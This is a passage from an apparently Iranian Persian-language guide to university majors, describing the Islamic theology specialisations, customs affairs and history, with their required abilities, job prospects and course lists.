    داشتن ذوق و استعداد نویسندگی، قدرت تجزیه و تحلیل، علاقه به ادبیات به ویژه ادبیات داستانی، تیزبینی و نکته‌سنجی و صبر و حوصله زیاد لازمه‌ی فعالیت در حیطه ادبیات داستانی است به ویژه این که ما در این حیطه هنوز در ابتدای راهیم و باید فردی عاشق و توانمند بود تا بتوان در این وادی وارد شد و باعث شکوفایی ادبیات داستانی گردید.
    موقعیت شغلی در ایران :
    فارغ‌التحصیلان این رشته‌ می‌توانند وظیفه آموزش مباحث نظری داستان‌نویسی و روش‌های نقد داستان را برعهده بگیرند و با تشکیل کارگاه‌های نقد، به آموزش روش‌های عملی نقد و تحلیل داستان و رمان بپردازند.همچنین در نقش کارشناس ادبیات داستانی با فیلم‌نامه نویسان، نمایشنامه نویسان و منتقدان همکاری کنند و یا با بازنویسی و بازآفرینی آثار داستانی قدیم، آثاری نو و امروزی بیافرینند.
    درس‌های این رشته در طول تحصیلی :
    دروس پایه :
    زبان تخصصی، زبان عربی، کلیات فلسفه غرب
    دروس اصلی :
    تاریخچه و نظریه اسطوره و حماسه، تاریخچه و نظریه حکایت، افسانه و رمانس، تاریخچه رمان و داستان کوتاه فارسی، نظریه داستان، بررسی عناصر داستان، سبک‌شناسی نثرهای داستانی، متون داستانی کهن منظوم (حماسی، عاشقانه، عرفانی، اخلاقی و حکمی، نظیره‌ها) شعر روایی معاصر، متون داستانی کهن منثور (عرفانی، تاریخی، دینی، تمثیلی، رمزی ـ عرفانی، تعلیمی)، متون داستانی عامیانه فارسی،‌ متون داستانی معاصر (سرچشمه‌ها، دوره اول، دوره دوم، دوره سوم، دوره چهارم، ادبیات عامه پسند، پاورقی‌ها)، داستان کودکان، جامعه شناسی رمان، ادبیات عامیانه، ادبیات داستانی غرب، کارگاه نقد داستان، بازنویسی و باز آفرینی متون داستانی کهن.
    دروس تخصصی :
    کلیات دستور زبان فارسی، مقدمات زبان شناسی، ویرایش، مهارت‌های نوشتاری، جریان‌های فکری در ایران، بلاغت ادبی، کلیات سبک شناسی، مکتب‌های ادبی، نقد ادبی.

  60. لهیات و معارف اسلامی
    دیباچه: معرفت به معنای شناخت است. شناختی که اولین مرحله از آشنایی و قدم گذاشتن در مسیر قرب‌الهی است و هرچه معرفت بیشتر و وسیع‌تر گردد؛ آشنایی و قرب کاملتر خواهد شد تا جایی که پیوسته قلب انسان وابسته به خدای متعال می‌شود و در همه حال متوجه او خواهد بود و می‌تواند راهنمای رحمت و نماینده مهربانی و بخشش الهی گردد. هدف از رشته الهیات و معارف اسلامی قدم گذاشتن در همین مسیر است. قدم گذاشتن در مسیری که به یاری مطالعه، تحقیق،‌ پژوهش و تلاش و توکل می‌توان به شناخت خود و خداوند دست یافت. این رشته‌ دارای‌ شش‌ گرایش‌ علوم‌ قرآن‌ و حدیث‌، فقه‌ و مبانی‌ حقوق‌ اسلامی‌، فقه‌ شافعی‌، تاریخ‌ فرهنگ‌ و تمدن‌ ملل‌ اسلامی‌، فلسفه‌ و حکمت‌ اسلامی‌ و ادیان‌ و عرفان‌ است‌.
    گرایش‌ علوم‌ قرآن‌ و حدیث:
    ‌در گرایش‌ علوم‌ قرآن‌ و حدیث‌ دانشجویان‌ ۱۲ واحد تفسیر قرآن‌ کریم‌ می‌گذرانند که‌ در این‌ ۱۲ واحد با شأن‌ نزول‌، مفهوم‌ آیات‌ و تفسیرهای‌ مهم‌ قرآن‌ کریم‌ آشنا می‌شوند. همچنین‌ دانشجویان‌ ۱۲ واحد درسی‌ در زمینه‌ علوم‌ قرآنی‌ مطالعه‌ می‌کنند که‌ در این‌ ۱۲ واحد با علوم‌ خاصی‌ که‌ هر پژوهشگر قرآن‌ باید با آنها آشنا باشد مثل‌ مبحث‌ مجمل‌ و مبین‌، منطوق‌ و مفهوم‌، آشنا می‌شوند که‌ لازمه‌ فهم‌ و درک‌ قرآن‌ و تفسیر و تبیین‌ آن‌ است. علاوه‌ بر مباحث‌ قرآنی‌ دانشجویان‌ این‌ گرایش‌ در بخش‌ حدیث‌، با علم‌الحدیث‌، درایـ¹‌الحدیث‌، فقه‌الحدیث‌، مجامع‌ حدیثی‌ شیعه‌ و اهل‌ تسنن‌ و اصطلاحات‌ حدیث‌ آشنا می‌شوند؛ یعنی‌ دانشجویان‌ به‌ طور اجمالی‌ تاریخ‌ تطور، تحول‌ و پیدایش‌ علم‌ حدیث‌ از دیدگاه‌ اهل‌ تشیع‌ و تسنن‌، معنا و مفهوم‌ اصطلاحات‌ علم‌ حدیث‌ و مفهوم‌ و محتوای‌ احادیث‌ را مطالعه‌ می‌کنند.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل :
    دروس‌ مشترک‌ در گرایش‌های‌ مختلف‌ الهیات‌ و معارف‌ اسلامی‌:
    تاریخ‌ اسلام‌ ، منطق‌ ، صرف‌ و نحو عربی‌ کاربردی‌، اعراب‌ قرآن‌، ترجمه‌ عربی‌ به‌ فارسی‌ و فارسی‌ به‌ عربی‌ ، قرائت‌ و درک‌ مفاهیم‌ متون‌ فقهی‌ و تفسیری‌، قرائت‌ و درک‌ مفاهیم‌ متون‌ عرفانی‌، قرائت‌ و درک‌ مفاهیم‌ متون‌ معاصر، قرائت‌ مطبوعات‌ واستفاده‌ از رادیو و تلویزیون‌، مکالمه‌ و محاضره ، علوم‌ بلاغی‌، تاریخ‌ زبان‌ وفرهنگ‌ عربی‌، روش‌ تحقیق‌ ، مبانی‌ جامعه‌شناسی‌، زبان‌ تخصصی‌ ، مبادی‌ فقه‌، مبادی‌ اصول‌، آشنایی‌ با علوم‌ اسلامی‌ (عرفان‌ و فلسفه‌)، فقه‌ مقدماتی‌ ، آشنایی‌ با ادیان‌ بزرگ‌، تفسیر .
    دروس‌ تخصصی‌ گرایش‌ علوم‌ قرآن‌ و حدیث‌ :
    تاریخ‌ قرآن، تاریخ‌ تفسیر قرآن‌ کریم‌ ، تاریخ‌ حدیث‌ ، درایـ¹‌الحدیث‌ ، فقه‌الحدیث‌، علوم‌ قرآنی‌ ، تفسیر قرآن‌ کریم‌ ، تأثیر قرآن‌ کریم‌ در پیدایش‌ علوم‌ ادبی‌، مروری‌ بر نهج‌البلاغه‌، علوم‌ بلاغت‌.
    گرایش‌ فقه‌ و مبانی‌ حقوق‌ اسلامی‌:
    گرایش‌ فقه‌ و مبانی‌ حقوق‌ اسلامی‌، وظایف‌ و حقوق‌ انسان‌ را از دیدگاه‌ تشریعات‌ الهی‌ بیان‌ می‌کند، حقوقی‌ که‌ از روی‌ حکمت‌ و بر روی‌ محور مصالح‌ خردمندانه‌ است‌ و در زمینه‌ رابطه‌ میان‌ انسان‌ و خدا، رابطه‌ انسان‌ها با یکدیگر یا وظایف‌ انسان‌ نسبت‌ به‌ خود و طبیعت‌ می‌باشد. از همین جا می‌توان متوجه تفاوت میان رشته فقه و مبانی حقوق اسلامی و رشته حقوق در مفهوم عام آن شد. زیرا رشته حقوق، اصولی را بیان می‌کند که از نظر عقل و عرف بشری، رعایت آنها در زندگی برای ایجاد نظم و امنیت لازم است. اصولی که امکان دارد طبق تشخیص عقل، مصلحت موقت اما فوری داشته باشد. اما فقه بیانگر مصالحی است که در تکامل انسان تأثیر دارد. بنابراین از نظر حقوق اسلامی، اصول و قوانین نباید تنها عامل نظم و امنیت باشد، بلکه باید انسان را نیز به کمال برساند. از این بابت احکام فقهی ممکن است که اعتبار جاودانه داشته باشند.
    دروس‌ تخصصی‌ گرایش‌ فقه‌ و مبانی‌ حقوق‌ اسلامی‌:
    فقه‌ ، فقه‌ مقارن‌ ، اصول‌ فقه‌ ، آیات‌ الاحکام‌ ، تاریخ‌ فقه‌ و فقها ، احادیث‌ فقهی‌ ، حقوق‌ جزای‌ خصوصی‌ اسلام‌، حقوق‌ بین‌الملل‌ اسلام‌، آیین‌ دادرسی‌ در اسلام‌ ، حقوق‌ جزای‌ عمومی‌ اسلامی‌، قواعد فقه‌ مدنی‌، حقوق‌ خانواده‌، کلیات‌ حقوق، حقوق‌ تطبیقی‌ .
    گرایش‌ فقه‌ شافعی‌:
    بسیاری‌ از دروس‌ این گرایش با گرایش‌ فقه‌ و مبانی‌ حقوق‌ اسلامی‌ یکسان‌ است. در گرایش‌ فقه‌ شافعی‌ احکام‌ عملی‌ اسلام‌ مانند عبادت‌، معاملات‌، مناکحات‌، جزا، قضا و شهادت‌ و همچنین‌ اصول‌ از دیدگاه‌ مذهب‌ شافعی‌ آموزش‌ داده‌ می‌شود. گفتنی‌ است‌ که‌ گرایش‌ فقه‌ شافعی‌ تنها از بین‌ داوطلبان‌ اهل‌ سنت‌، دانشجو می‌پذیرد.
    گرایش‌ تاریخ‌ فرهنگ‌ و تمدن‌ ملل‌ اسلامی‌:
    گرایش‌ تاریخ‌ فرهنگ‌ و تمدن‌ ملل‌ اسلامی‌، دانشجویان‌ را با تاریخ‌ و جغرافیای‌ ممالک‌ اسلامی‌ آشنا می‌کند؛ یعنی‌ دانشجویان‌ با فرهنگ‌، عادات‌ و رسوم‌ مسلمان‌های‌ نقاط‌ مختلف‌ جهان‌ از جمله‌ مسلمان‌های‌ آسیای‌ جنوب‌ شرقی‌، شمال‌ آفریقا، اروپا و آمریکا آشنا می‌شوند. همچنین‌ با تاریخ‌ اسلام‌ از زمان‌ ظهور پیامبر اکرم‌ تا زمان‌ حال‌، تاریخ‌ تشکیلات‌ اسلامی‌ (آشنایی‌ با نظام‌ و تشکیلات‌ دولت‌های‌ مسلمان‌ اعم‌ از نظام‌ مالی‌، نظام‌ اداری‌، تشکیلات‌ سیاسی‌ و …) تاریخ‌ علوم‌ (علوم‌ عقلی‌ و نقلی‌ که‌ از اسلام‌ زاده‌ شده‌ است‌) تاریخ‌ ناحیه‌ای‌، تاریخ‌ سال‌ شمار، مآخذ شناسی‌ تاریخی‌ (شناخت‌ منابع‌ و مآخذ تاریخی‌)، تاریخ‌ نگاری‌ (آشنایی‌ با شیوه‌های‌ تاریخ‌ نگاری‌ در اسلام‌ و انواع‌ تاریخ‌نگاری‌ اعم‌ از وقایع‌ نامه‌، معاجم‌ الرجال‌، طبقات‌، احوال‌ بلاد، احوال‌ امم‌ و …) تاریخ‌ هنر معماری‌ اسلامی‌ و تاریخ‌ آموزش‌ و پرورش‌ اسلامی‌ آشنا می‌گردند.
    دروس‌ تخصصی‌ گرایش‌ تاریخ‌ فرهنگ‌ و تمدن‌ ملل‌ اسلامی‌:
    وضع‌ کنونی‌ جهان‌ اسلام‌، تاریخ‌ نگاری‌ در اسلام‌‌، تاریخ‌ هنرهای‌ اسلامی‌‌، تاریخ‌ اسلام‌ از آغاز خلافت‌ عباسی‌ تا پایان‌ آل‌ بویه‌، تاریخ‌ اسلام‌ از سلاجقه‌ تا سقوط‌ بغداد، تاریخ‌ اسلام‌ در مصر و شام‌ ، تاریخ‌ اسلام‌ در مغرب‌ و اندلس‌، کلیات‌ فرهنگ‌ و تمدن‌ اسلامی‌، تاریخ‌ تشکیلات‌ اسلامی‌ ، متون‌ تاریخی‌ ، اسلام‌ در برخورد با غرب‌ و استعمار، اسلام‌شناسی‌ در غرب‌ ، متون‌ جغرافیائی‌، تاریخ‌ آموزش‌ و پرورش‌ در اسلام‌ ، جغرافیای‌ تاریخی‌ اسلام‌ ، تاریخ‌ علوم‌ در اسلام‌ ، تاریخ‌ تشیع‌ .
    گرایش‌ فلسفه‌ و حکمت‌ اسلامی‌ :
    در تاریخ‌ علم‌ و اندیشه،‌ ما برای‌ رسیدن‌ به‌ حقیقت‌ و آگاهی‌ از راز هستی‌ و آفرینش‌ به‌ دو راه‌ اصلی‌ و اساسی‌ بر می‌خوریم‌، راه‌ عقل‌ و راه‌ عشق‌. در تاریخ‌ فلسفه‌ و عرفان‌ اسلامی‌ نیز این‌ دو راه‌ وجود دارد و برای‌ کشف‌ حقیقت‌، هر دو روش‌ کشف‌ و شهود و استدلال‌ و منطق‌ مورد توجه‌ بوده‌ است‌. در این‌ میان‌ طرفداران‌ اصالت‌ عقل‌ معتقدند که‌ می‌توان‌ با استدلال‌ و برهان‌ به‌ معرفت‌ و شناخت‌ رسید و از راز آفرینش‌ آگاهی‌ یافت‌. اعتقادی‌ که‌ در گرایش‌ فلسفه‌ و حکمت‌ اسلامی‌ نیز با آن‌ روبرو می‌شویم‌ و در واقع‌ دانشجویان‌ این‌ گرایش‌ به‌ مطالعه‌ و پژوهش‌ در این‌ زمینه‌ می‌پردازند و نظام‌ آموزشی‌ آنها برپایه‌ مطالعه‌ مکاتب‌ فلسفی‌ مثل‌ مشّاء، اشراق‌ یا ملاصدرا استوار است.
    دروس‌ تخصصی‌ گرایش‌ فلسفه‌ و حکمت‌اسلامی:
    فلسفه‌ اسلامی‌ ، کلام‌ ، حکمت‌ عملی‌ ، منطق‌ ، تاریخ‌ فلسفه‌ اسلامی‌ ، تاریخ‌ فلسفه‌ غرب‌ ، متون‌ فلسفی‌ به‌ زبان‌ خارجی‌ ، عرفان‌ .
    گرایش‌ ادیان‌ و عرفان‌:
    در گرایش‌ ادیان‌ و عرفان‌ دانشجویان‌ با تاریخ‌ ظهور و گسترش‌ ادیان‌ زنده‌ (ادیانی‌ که‌ هنوز پیروان‌ بسیاری‌ دارند) آشنا می‌شوند و سه‌ بخش‌ اساسی‌ احکام‌ و آداب‌، عقاید و اخلاق‌ را در هر دینی‌ مطالعه‌ می‌کنند. البته‌ در این‌ مطالعه‌ شخص‌ پژوهشگر در صدد اثبات‌ حقانیت‌ یا بطلان‌ دین‌ خاصی‌ نیست‌ بلکه‌ در صدد شناسایی‌ و درک‌ مواضع‌ مشترک‌ می‌باشد. ادیان‌ زنده‌ای‌ که‌ دانشجویان‌ مطالعه‌ می‌کنند، براساس‌ خاستگاه‌ آنها به‌ سه‌ گروه‌ زیر تقسیم‌ می‌شود:
    الف‌) ادیان‌ خاورمیانه‌ که‌ شامل‌ ادیان‌ سامی‌؛ یعنی‌ یهودیت‌، مسیحیت‌ و اسلام‌ می‌شود که‌ پیامبران‌ آنها نسلشان‌ به‌ حضرت‌ ابراهیم‌ می‌رسد و دین‌ زرتشت‌ که‌ خاستگاه‌ آن‌ ایران‌ است‌.
    ب‌) ادیان‌ خاور دور که‌ ادیان‌ کشورهای‌ چین‌ و ژاپن‌ است‌ و شامل‌ “کنفوسیوس‌”، “تائو” و “شین‌تو” می‌گردد.
    ج‌) ادیان‌ شبه‌ جزیره‌ هند که‌ عبارتند از:
    هندو، بودا و جین‌. همچنین‌ دانشجویان‌ این‌ گرایش‌ عرفان‌ را به‌ عنوان‌ یکی‌ از مباحث‌ مقایسه‌ای‌ در ادیان‌ مطالعه‌ می‌کنند و با ادبیات‌ عرفانی‌ اسلام‌ آشنا می‌شوند.
    دروس‌ تخصصی‌ گرایش‌ ادیان‌ و عرفان‌ :
    معارف‌ شیعه‌، تاریخ‌ فرق‌ اسلامی‌، تاریخ‌ فلسفه‌ اسلامی‌، تاریخ‌ فلسفه‌ غرب‌، کلیات‌ علم‌ کلام‌، تفسیر عرفانی‌ قرآن‌، متون‌ عرفانی‌ فارسی‌، تاریخ‌ تصوف‌، متون‌ ادیان‌ و عرفان‌ به‌ زبان‌ خارجی‌، ادیان‌ ابتدایی‌ و قدیم‌، ادیان‌ ایران‌ قبل‌ از اسلام‌، دین‌ یهود و مسیحیت‌، ادیان‌ هند، دین‌ بودا و خاور دور، روش‌شناسی‌ ادیان‌ .
    توانایی‌های‌ لازم :
    هر دانشجوی‌ رشته‌ الهیات‌ و معارف‌ اسلامی‌ باید به‌ زبان‌ و ادبیات‌ عرب‌ مسلط‌ بوده‌ و به‌ آن‌ علاقه‌مند باشد چرا که‌ برای‌ ورود به‌ وادی‌ قرآن‌ و حدیث‌ و مطالعه‌ تاریخ‌ و تمدن‌ کشورهای‌ مسلمان‌ و کتب‌ عرفانی‌ و فلسفی‌ اسلامی‌ یا تحقیق‌ و مطالعه‌ بر روی‌ فقه‌ و مبانی‌ حقوق‌ اسلامی‌ آشنایی‌ با عربی‌ یک‌ ضرورت‌ اجتناب‌ناپذیر است‌. همچنین‌ دانشجوی‌ این‌ رشته‌ لازم‌ است‌ که‌ با زبان‌ انگلیسی‌ آشنا باشد تا بتواند معارف‌ اسلامی‌ را بسط‌ و گسترش‌ دهد و در این‌ زمینه‌ تبلیغ‌ کند. این‌ آشنایی‌ برای‌ دانشجویان‌ گرایش‌ ادیان‌ و عرفان‌ ضروری‌تر است‌ چون‌ کتب‌ مذهبی‌ ادیان‌ دیگر به‌ زبان‌ عربی‌ نوشته‌ نشده‌ است‌ و برای‌ مطالعه‌ این‌ کتب‌ باید حداقل‌ به‌ زبان‌ انگلیسی‌ به‌ عنوان‌ زبان‌ بین‌المللی‌ مسلط‌ بود. در ضمن‌ دانشجوی این رشته باید مسائل‌ و مباحث‌ یا وقایع‌ تاریخی‌ را به‌ خوبی‌ تجزیه‌ و تحلیل‌ کند نه‌ اینکه‌ تنها به‌ حجم‌ محفوظات‌ خود بیفزاید.
    موقعیت‌ شغلی‌ در ایران :
    فارغ‌التحصیل گرایش‌ علوم‌ قرآن‌ و حدیث‌ مثل‌ فارغ‌التحصیلان‌ سایر رشته‌ها با مشکل‌ بازار کار روبرو است اما با این‌ وجود یک‌ فارغ‌التحصیل‌ توانمند می‌تواند در مراکز پژوهشی‌ مثل‌ دائر¸‌المعارف‌ها و پژوهشگاه‌ علوم‌ انسانی‌ یا مراکز آموزشی‌ فعالیت‌ کند. فارغ‌التحصیل گرایش‌ فقه‌ و مبانی‌ حقوق‌ اسلامی‌ موقعیت‌ کاری‌ بیشتری‌ دارد. چرا که‌ این‌ گرایش‌ جنبه‌ کاربردی‌ دارد. برای‌ مثال‌ می‌تواند به‌ عنوان‌ وکیل‌ دادگستری‌، مشاور حقوقی‌ و کارشناس‌ حقوقی‌ فعالیت‌ کند یا دفترخانه‌ اسناد رسمی‌ و دفتر ازدواج‌ و طلاق‌ دایر نماید. فارغ‌التحصیل‌ خوب‌ و توانمند گرایش‌ تاریخ‌ و تمدن‌ اسلامی‌ نیز می‌تواند در وزارت‌ امور خارجه‌ و وزارت‌ فرهنگ‌ و ارشاد اسلامی‌ مشغول‌ به‌ کار گردد و اگر اهل‌ قلم‌ باشد به‌ کارهای‌ پژوهشی‌ و نوشتن‌ کتاب‌های‌ تاریخی‌ روی‌ آورد. با توجه‌ به‌ نوع‌ دروس‌ گرایش‌ ادیان‌ و عرفان‌، فارغ‌التحصیل این‌ گرایش‌ نیز باید در وزارت‌ امور خارجه‌، وزارت‌ فرهنگ‌ و ارشاد اسلامی‌، سازمان‌ تبلیغات‌ اسلامی‌ و سازمان‌های‌ مشابه‌ فعالیت‌ کند اما متأسفانه‌ اکثر مسؤولان‌ با این‌ رشته‌ و توانمندی‌ فارغ‌التحصیلان‌ آن‌ آشنا نیستند و تصور می‌کنند که‌ نیازی‌ به‌ شناختن‌ ادیان‌ دیگر و گفتگو با آنها نیست‌ و اگر هم‌ در بعضی‌ از مراکز در این‌ زمینه‌ تلاش‌ می‌شود، این‌ گفتگوها عمیق‌ و بنیادی‌ نیست‌ و در نتیجه‌ اثر بخش‌ نمی‌باشد. البته‌ در حال‌ حاضر بعضی‌ از مراکز پژوهشی‌ غیردولتی‌ مثل‌ “مؤسسه‌ گفتگوی‌ ادیان‌” در این‌ زمینه‌ فعالیت‌ می‌کنند و تعدادی‌ از فارغ‌التحصیلان‌ این‌ گرایش‌ نیز جذب‌ مراکز فوق‌ شده‌اند، اما در بخش‌ دولتی‌ در این‌ زمینه‌ کار چشمگیری‌ انجام‌ نشده‌ است‌.

  61. مورگمرکی
    دیباچه: نقش مهم و حساس گمرک در حمایت از صنایع و تولیدات داخلی و اجرای مطلوب سیاست‌های تجارت خارجی ایجاب می‌کند که نیروی انسانی سازمان گمرک جمهوری اسلامی ایران با گذراندن دوره‌های آموزشی عالی،‌ دانش و تجربه مورد نیاز گمرک را برای توانایی انجام وظایف محوله و کارآیی مطلوب کسب نمایند. دوره کاردانی امور گمرکی با برنامه‌ای که پاسخگوی نیازهای روز جامعه گمرکی جمهوری اسلامی ایران است، می‌تواند کادر کارآمد و ورزیده گمرکی را در بخش دولتی و بخش خصوصی تربیت کند. در واقع هدف این دوره تربیت افرادی است که بتوانند قسمتی از نیروی انسانی مورد نیاز بخش دولتی را به ویژه در ارتباط با اجرای قانون امور گمرکی و آئین‌نامه اجرایی آن،‌مقررات صادرات و واردات و دیگر قوانین و مقررات مرتبط با گمرک تأمین‌کنند.
    موقعیت شغلی در ایران:
    فار‎غ‌التحصیلان دوره کاردانی امور گمرکی قادر به انجام فعالیت‌های زیر خواهند بود:
    ارائه خدمت مفید در مشاغل ارزیاب گمرک، مدیر امور گمرکی، کارشناسی امور گمرکی (در صورت کسب تجارب و احراز شرایط) و سایر امور فنی و اجرائی مربوط، جهت اجرای وظایف اصلی گمرک ایران.
    درس‌های این رشته در طول تحصیل :
    دروس پایه و اصلی:
    اقتصاد خرد، اقتصاد کلان، ریاضیات پایه، کلیات حقوق، حقوق و مقررات مدنی ، حقوق تجارت، حقوق اساسی و آشنائی با تشکیلات جمهوری اسلامی ایران، مبانی سازمان و مدیریت، مالیه عمومی و خط‌مشی مالی دولت‌ها، مسائل بانکی و اعتبارت اسنادی، مکاتبات بازرگانی به زبان انگلیسی، اصول بیمه.
    دروس تخصصی:
    قوانین و مقررات گمرکی، طبقه‌بندی کالا، شیمی کانی‌ها و فلزات، شناخت الیاف‌سنجی و مصنوعات آنها، سازمان‌ها و کنوانسیون‌های بین‌المللی گمرکی، آشنایی با صنعت حمل و نقل، مقررات عمومی صادرات و واردات، زبان انگلیسی متون تخصصی،‌ سازمان و وظایف گمرک.

  62. تاریخ
    دیباچه: درس تاریخ در آموزش و پرورش تنها به بازخوانی گذشته و هیاهوی قدرتمندان و پادشاهان می‌پردازد و بر همین اساس حتی بهترین دانش‌آموزان نیز تاریخ را مجموعه‌ای از حوادث می‌دانند. اما آیا چنین دیدگاهی صحیح است؟ آیا علم تاریخ مثل یک داستان یا رمان، مجموعه‌ای از حوادث تلخ و شیرین را به حالت روایی و نقلی محض منتقل می‌‌سازد و هدف آن افزایش معلومات دایره ‌المعارفی است؟
    دایره ‌المعارف بریتانیکا در معرفی علم تاریخ می‌گوید:
    “تاریخ، قواعدی است که ثبت وقایع مؤثر بر مردم یک ملت را با حفظ تسلسل تاریخی و زمانی آن مطالعه می‌کند و مبنی بر تحقیق منتقدانه منابع اطلاعاتی و توضیح دلایل آنها است.”
    این دایره ‌المعارف درباره هدف تاریخدان نیز می‌گوید:
    “هدف تاریخدان این است که فعالیت‌های ثبت شده انسان را مدل‌سازی کند. تا درک عمیق‌تری از آن داشته باشد. این درک از اعمال انسان، موضوعی کاملاً جدید است و به پیشرفت‌های علم تاریخ در اواخر قرن ۱۸ و ۱۹ برمی‌گردد که توسط تاریخدانان حرفه‌ای ایجاد گردید.”
    شادروان دکتر عبدالحسین زرین‌کوب نیز در کتاب ” تاریخ در ترازو” در معرفی علم تاریخ می‌گوید:
    “تاریخ تنها گردآوری روایات و مقایسه آنها و شناخت “واقعیت” حوادث گذشته نیست. ورای این کار،‌نظر به توجیه و تفسیر این واقعیات دارد که بین جزئیات رابطه برقرار می‌کند و آنها را به یکدیگر پیوند می‌دهد. این کار در واقع عبارت از تجدید بنای گذشته است به کمک مصالح و موادی که اینجا و آنجا از بقایای آوار حوادث باقی مانده است.” در واقع علم‌ تاریخ‌ تحولات‌ گذشته‌ جامعه‌ انسانی‌ را که‌ می‌تواند زمینه‌ سیاسی‌، اقتصادی‌، اجتماعی‌ یا فرهنگی‌ داشته‌ باشد، مورد مطالعه‌ قرار می‌دهد. به‌ همین‌ دلیل‌ رشته‌ بسیار گسترده‌ای‌ است‌ و اشتباه‌ است‌ که‌ آن‌ را صرفاً مطالعه‌ مواد خام‌ تاریخی‌ بدانیم‌ بلکه‌ دانشجو فرا می‌گیرد که‌ چگونه‌ از تحلیل‌ و تلفیق‌ مواد خام‌ تاریخی‌ به‌ نتایج‌ علمی‌ برسد. به‌ عبارت‌ دیگر آموختن‌ روش‌ تاریخی‌ به‌ مورخ‌ کمک‌ می‌کند تا از میان‌ انبوهی‌ از مواد خام‌، مواد خام‌ معتبر را جدا کند و براساس‌ روش‌ تاریخی‌ از بررسی‌ آنها به‌ نتیجه‌ علمی‌ برسد. در حالی‌ که‌ حتی‌ مطالعه‌کنندگان‌ جدی‌ تاریخ‌ که‌ غیرحرفه‌ای‌ هستند، هیچ‌ معیاری‌ برای‌ تشخیص‌ و تعیین‌ صحت‌ و سقم‌ رویدادهای‌ یک‌ کتاب‌ تاریخی‌ ندارند و گاه‌ از آثار غیرموثق‌ و غیرمعتبر استفاده‌ می‌کنند.
    توانایی‌های‌ لازم :
    دانشجوی‌ تاریخ‌ باید نظم‌ و دقت‌ فراوان‌ داشته و توان‌ به‌ تصویر کشیدن و نقد کردن وقایع‌ تاریخی‌ را داشته‌ باشد. پایه‌ علم‌ تاریخ‌، فلسفه‌، زمین‌ آن‌ جغرافیا و دیوارهای‌ آن‌ جامعه‌شناسی‌، اقتصاد، سیاست‌ و فرهنگ‌ است‌ و دانشجوی‌ تاریخ‌ باید با این‌ علوم‌ آشنا باشد و از نتایج‌ آنها بهره‌ ببرد. فردی‌ می‌تواند در رشته‌ تاریخ‌ موفق‌ شود که‌ از پوسته‌ رویی‌ رویدادها عبور کرده‌ و مسائل‌ عمیق‌تری‌ را درباره‌ آنها بفهمد و از ارتباط‌ بین‌ دو رویداد پی‌ به‌ رویداد سوم‌ ببرد و با دیدن‌ یک‌ رویداد به‌ علل‌ پنهان‌ و آشکار آن‌، اشاره‌ کند. همچنین‌ دانشجو باید با ادبیات‌ فارسی‌ ، آمار و ریاضی‌ آشنایی‌ داشته‌ باشد تا بتواند به‌ یاری‌ ادبیات‌ فارسی‌ هم‌ از منابع‌ گذشته‌ که‌ رنگ‌ ادبی‌ دارند، استفاده‌ کند و هم‌ مفاهیم‌ تاریخی‌ را به خوبی‌ بیان‌ نماید و به‌ یاری‌ آمار و ریاضی‌ نیز، هرچه‌ بیشتر زبان‌ دستاوردهای‌ علم‌ تاریخ‌ را کمـّی‌ کند و داده‌های‌ تاریخ‌ را در قالب‌ اعداد بیان‌ نماید.
    موقعیت‌ شغلی‌ در ایران‌ :
    فارغ‌التحصیلان‌ دوره‌ کارشناسی‌ تاریخ‌ در وزارت‌ آموزش‌ و پرورش‌، وزارت‌ امور خارجه‌، وزارت‌ علوم‌، تحقیقات‌ و فناوری‌، وزارت‌ فرهنگ‌ و ارشاد اسلامی‌، سازمان‌ موزه‌ها، مراکز اسناد ملی‌ و صداوسیما برای‌ بررسی‌ مسائل‌ تحقیقی‌ تاریخ‌ در حد تحقیقات‌ بین‌المللی‌ به‌ کار مشغول‌ می‌شوند.
    درس‌های‌ این‌ رشته‌ در طول‌ تحصیل :
    دروس‌ پایه‌:
    کلیات‌ و مبانی‌ علم‌ تاریخ‌، متون‌ تاریخی‌ به‌ زبان‌ فارسی‌، عربی‌ و خارجی‌، روش‌ تحقیق‌ ، تاریخ‌نگاری‌ و تحولات‌ آن‌ در ایران‌ و جهان‌، گاه‌شماری‌ و تقویم‌، مبانی‌ تاریخ‌ اجتماعی‌ ایران‌، تاریخ‌ اندیشه‌های‌ سیاسی‌ در ایران‌ و اسلام‌، کلیات‌ جغرافیا، مبانی‌ جامعه‌شناسی‌، مبانی‌ علم‌ سیاست‌، فلسفه‌ تاریخ‌.
    دروس‌ اصلی‌ و تخصصی‌:
    تاریخ‌ ایران‌ از ایلامی‌ها و آریایی‌ها تا پایان‌ دوره‌ هخامنشی‌، دوره‌ سلوکی‌ و اشکانی‌، تاریخ‌ ایران‌ در دوره‌ ساسانیان‌، تاریخ‌ تحولات‌ سیاسی‌، اجتماعی‌، اقتصادی‌ و فرهنگی‌ ایران‌ (از ورود اسلام‌ تا پایان‌ حکومت‌ علویان‌ طبرستان‌، دوره‌ سلجوقیان‌، دوره‌ سامانیان‌، دیلمیان‌، غزنویان‌، دوره‌ غوریان‌ و خوارزمشاهیان‌، دوره‌ حمله‌ مغول‌ و ایلخانان‌، از زوال‌ ایلخانان‌ تا آغاز حکومت‌ صفویان‌، دوره‌ افشاریان‌ و زندیان‌، آغاز دوره‌ قاجار تا انقلاب‌ مشروطیت‌، انقلاب‌ مشروطیت‌ تا انقراض‌ حکومت‌ قاجاریه‌، از انقراض‌ قاجاریه‌ تا کودتای‌ ۲۸ مرداد ۱۳۳۲) ، انقلاب‌ اسلامی‌ و ریشه‌های‌ آن‌، تاریخ‌ تحولات‌ سیاسی‌، اجتماعی‌، اقتصادی‌ و فرهنگی‌ جهان‌ اسلام‌ (از میلاد پیامبر اکرم‌(ص‌) تا سال‌ ۴۱ هجری‌، از سال‌ ۴۰ هجری‌ تا ۲۲۷ هـ . ق‌، از سال‌ ۲۲۷ هـ . ق‌ تا سقوط‌ بغداد از قرن‌ هفتم‌ تا دهم‌ هجری‌)، تاریخ‌ تشیع‌، تاریخ‌ تحلیلی‌ زندگانی‌ ائمه‌ معصومین‌(ع‌) ، تاریخ‌ عثمانی‌ و خاورمیانه‌، تاریخ‌ یونان‌ و رم‌، تاریخ‌ بیزانس‌، تاریخ‌ اروپا در قرون‌ وسطی‌، تاریخ‌ اروپا در قرون‌ جدید، تاریخ‌ اروپا از انقلاب‌ فرانسه‌ تا جنگ‌ جهانی‌ اول‌، تاریخ‌ اروپا از جنگ‌ جهانی‌ اول‌ تاکنون‌.

  63. باستان شناسی
